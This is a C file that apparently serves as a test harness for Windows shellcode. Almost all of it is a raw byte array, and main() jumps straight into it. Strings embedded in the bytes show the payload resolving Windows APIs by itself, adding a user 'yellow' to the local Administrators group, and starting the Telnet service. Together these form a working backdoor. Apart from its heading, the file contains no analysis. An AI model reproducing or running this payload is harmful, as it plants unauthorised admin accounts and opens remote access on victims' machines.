testshellcode.c

ShellCode分析

unsigned char shellcode[]={
        0x55,0x8B,0xEC,0x81,0xEC,0x98,0x00,0x00,0x00,0x53,
        0x56,0x57,0x56,0x51,0x64,0x8B,0x35,0x00,0x00,0x00,
        0x00,0xAD,0x80,0x38,0xFF,0x74,0x04,0x8B,0x00,0xEB,
        0xF7,0x8B,0x40,0x04,0x25,0x00,0x00,0xFF,0xFF,0x66,
        0x81,0x38,0x4D,0x5A,0x75,0x0C,0x8B,0x48,0x3C,0x03,
        0xC8,0x66,0x81,0x39,0x50,0x45,0x74,0x03,0x48,0xEB,
        0xE5,0x59,0x5E,0x89,0x45,0xDC,0x89,0x45,0xF4,0xE8,
        0x0F,0x00,0x00,0x00,0x47,0x65,0x74,0x50,0x72,0x6F,
        0x63,0x41,0x64,0x64,0x72,0x65,0x73,0x73,0x00,0x58,
        0x89,0x85,0x68,0xFF,0xFF,0xFF,0x89,0x45,0xF0,0xC7,
        0x45,0xEC,0x0D,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,
        0x00,0x00,0x00,0xE8,0xFB,0x01,0x00,0x00,0x89,0x45,
        0xA0,0xE8,0x0D,0x00,0x00,0x00,0x4C,0x6F,0x61,0x64,
        0x4C,0x69,0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x58,
        0x89,0x85,0x6C,0xFF,0xFF,0xFF,0x89,0x45,0xF0,0xC7,
        0x45,0xEC,0x0B,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,
        0x00,0x00,0x00,0xE8,0xC9,0x01,0x00,0x00,0x89,0x45,
        0xA4,0xE8,0x0D,0x00,0x00,0x00,0x6B,0x65,0x72,0x6E,
        0x65,0x6C,0x33,0x32,0x2E,0x64,0x6C,0x6C,0x00,0x8F,
        0x45,0xE4,0xE8,0x0B,0x00,0x00,0x00,0x77,0x73,0x32,
        0x5F,0x33,0x32,0x2E,0x64,0x6C,0x6C,0x00,0x8F,0x45,
        0xE8,0xE8,0x0C,0x00,0x00,0x00,0x45,0x78,0x69,0x74,
        0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x00,0x8F,0x85,
        0x70,0xFF,0xFF,0xFF,0xE8,0x08,0x00,0x00,0x00,0x57,
        0x69,0x6E,0x45,0x78,0x65,0x63,0x00,0x8F,0x85,0x74,
        0xFF,0xFF,0xFF,0xE8,0x07,0x00,0x00,0x00,0x73,0x6F,
        0x63,0x6B,0x65,0x74,0x00,0x8F,0x85,0x78,0xFF,0xFF,
        0xFF,0xE8,0x05,0x00,0x00,0x00,0x62,0x69,0x6E,0x64,
        0x00,0x8F,0x85,0x7C,0xFF,0xFF,0xFF,0xE8,0x08,0x00,
        0x00,0x00,0x63,0x6F,0x6E,0x6E,0x65,0x63,0x74,0x00,
        0x8F,0x45,0x80,0xE8,0x07,0x00,0x00,0x00,0x61,0x63,
        0x63,0x65,0x70,0x74,0x00,0x8F,0x45,0x84,0xE8,0x07,
        0x00,0x00,0x00,0x6C,0x69,0x73,0x74,0x65,0x6E,0x00,
        0x8F,0x45,0x88,0xE8,0x05,0x00,0x00,0x00,0x73,0x65,
        0x6E,0x64,0x00,0x8F,0x45,0x8C,0xE8,0x05,0x00,0x00,
        0x00,0x72,0x65,0x63,0x76,0x00,0x8F,0x45,0x90,0xE8,
        0x0C,0x00,0x00,0x00,0x63,0x6C,0x6F,0x73,0x65,0x73,
        0x6F,0x63,0x6B,0x65,0x74,0x00,0x8F,0x45,0x94,0xE8,
        0x0B,0x00,0x00,0x00,0x57,0x53,0x41,0x53,0x74,0x61,
        0x72,0x74,0x75,0x70,0x00,0x8F,0x45,0x98,0xE8,0x0B,
        0x00,0x00,0x00,0x57,0x53,0x41,0x43,0x6C,0x65,0x61,
        0x6E,0x75,0x70,0x00,0x8F,0x45,0x9C,0x6A,0x04,0x33,
        0xF6,0x5F,0xFF,0x74,0x35,0xE4,0xFF,0x55,0xA4,0x89,
        0x44,0x35,0xDC,0x03,0xF7,0x3B,0xF7,0x7E,0xEF,0x33,
        0xF6,0xFF,0xB4,0x35,0x70,0xFF,0xFF,0xFF,0xFF,0x75,
        0xDC,0xFF,0x55,0xA0,0x89,0x44,0x35,0xA8,0x03,0xF7,
        0x3B,0xF7,0x7E,0xE9,0x33,0xF6,0xFF,0xB4,0x35,0x78,
        0xFF,0xFF,0xFF,0xFF,0x75,0xE0,0xFF,0x55,0xA0,0x89,
        0x44,0x35,0xB0,0x03,0xF7,0x83,0xFE,0x24,0x7E,0xE8,
        0xE8,0x1C,0x00,0x00,0x00,0x6E,0x65,0x74,0x20,0x75,
        0x73,0x65,0x72,0x20,0x79,0x65,0x6C,0x6C,0x6F,0x77,
        0x20,0x79,0x65,0x6C,0x6C,0x6F,0x77,0x20,0x2F,0x61,
        0x64,0x64,0x00,0x8F,0x45,0xD8,0xE8,0x2A,0x00,0x00,
        0x00,0x6E,0x65,0x74,0x20,0x6C,0x6F,0x63,0x61,0x6C,
        0x67,0x72,0x6F,0x75,0x70,0x20,0x41,0x64,0x6D,0x69,
        0x6E,0x69,0x73,0x74,0x72,0x61,0x74,0x6F,0x72,0x73,
        0x20,0x79,0x65,0x6C,0x6C,0x6F,0x77,0x20,0x2F,0x61,
        0x64,0x64,0x00,0x8F,0x45,0xDC,0xE8,0x12,0x00,0x00,
        0x00,0x6E,0x65,0x74,0x20,0x73,0x74,0x61,0x72,0x74,
        0x20,0x74,0x6C,0x6E,0x74,0x73,0x76,0x72,0x00,0x8F,
        0x45,0xE0,0x6A,0x03,0x8D,0x75,0xD8,0x5B,0x6A,0x00,
        0xFF,0x36,0xFF,0x55,0xAC,0x03,0xF7,0x4B,0x75,0xF4,
        0x6A,0x00,0xFF,0x55,0xA8,0x8B,0x45,0xF4,0x83,0xC0,
        0x3C,0x8B,0x00,0x03,0x45,0xF4,0x80,0x38,0x50,0x75,
        0x55,0x89,0x45,0xE0,0x8B,0x40,0x78,0x03,0x45,0xF4,
        0x89,0x45,0xE8,0x8B,0x40,0x20,0x03,0x45,0xF4,0x89,
        0x45,0xF8,0x8B,0x4D,0xE8,0x8B,0x49,0x14,0x51,0x8B,
        0x00,0x03,0x45,0xF4,0x8B,0x75,0xF0,0x8B,0xF8,0x8B,
        0x4D,0xEC,0xFC,0xF3,0xA6,0x75,0x1A,0x83,0xC4,0x04,
        0x8B,0x45,0xE8,0x8B,0x40,0x1C,0x03,0x45,0xF4,0xC1,
        0x65,0xFC,0x02,0x03,0x45,0xFC,0x8B,0x00,0x03,0x45,
        0xF4,0xEB,0x0F,0xFF,0x45,0xFC,0x83,0x45,0xF8,0x04,
        0x8B,0x45,0xF8,0x59,0xE2,0xC6,0x33,0xC0,0xC3
};
__declspec(naked) int main(void)
{
	__asm
	{
		lea eax,shellcode
		call eax
		ret
	}
}